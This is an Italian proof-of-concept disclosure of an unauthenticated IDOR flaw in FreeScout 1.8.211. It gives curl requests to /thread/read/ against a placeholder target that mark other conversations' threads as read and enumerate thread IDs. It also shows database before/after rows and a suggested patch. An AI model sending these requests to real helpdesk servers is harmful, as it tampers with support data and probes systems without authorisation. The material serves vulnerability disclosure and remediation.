
Proof-of-concept exploit per una vulnerabilità IDOR non autenticata in FreeScout che consente l'enumerazione dei thread e la manipolazione dello stato di lettura tramite richieste HTTP appositamente costruite.
POC - CVE-2026-35584 FreeScout
L'endpoint GET /thread/read/{conversation_id}/{thread_id} non richiede autenticazione e non verifica che il thread_id fornito appartenga al conversation_id indicato. Ciò consente a qualsiasi utente non autenticato di:
Contrassegnare qualsiasi thread come letto passando ID arbitrari Enumerare ID di thread validi tramite i codici di risposta HTTP (200 vs 404) Manipolare i timestamp opened_at tra conversazioni diverse (IDOR)
Versione Affetta
1.8.211 (ultima)
Creare due conversazioni (conv_id=1 e conv_id=2) Creare un thread nella conversazione 2 (thread_id=3) Senza alcuna autenticazione, inviare: GET /thread/read/1/3 Verificare nel database — opened_at del thread_id=3 ora è impostato, nonostante sia stato acceduto tramite il conversation_id errato
curl -v "http://TARGET/thread/read/1/3"
Restituisce HTTP 200 e imposta opened_at sul thread 3
Nessuna autenticazione richiesta IDOR: thread_id non viene validato rispetto a conversation_id Enumerazione dei thread: HTTP 200 = thread valido, 404 = non valido Manipolazione delle metriche letto/non letto utilizzate dagli agenti di supporto Rompe il modello di isolamento delle conversazioni
if ($thread->conversation_id !== (int)$conversation_id) {
abort(403);
}
Enumerazione dei thread (non autenticata)
curl -v "http://TARGET/thread/read/1/1" → HTTP 200 (thread valido)
curl -v "http://TARGET/thread/read/1/2" → HTTP 200 (thread valido)
curl -v "http://TARGET/thread/read/1/3" → HTTP 200 (IDOR - il thread appartiene alla conversazione 2)
curl -v "http://TARGET/thread/read/1/4" → HTTP 404 (thread non valido)
Prima: | id | conversation_id | opened_at | | 3 | 2 | NULL |
Dopo GET /thread/read/1/3 (senza autenticazione): | id | conversation_id | opened_at | | 3 | 2 | 2026-04-03 23:19:46 |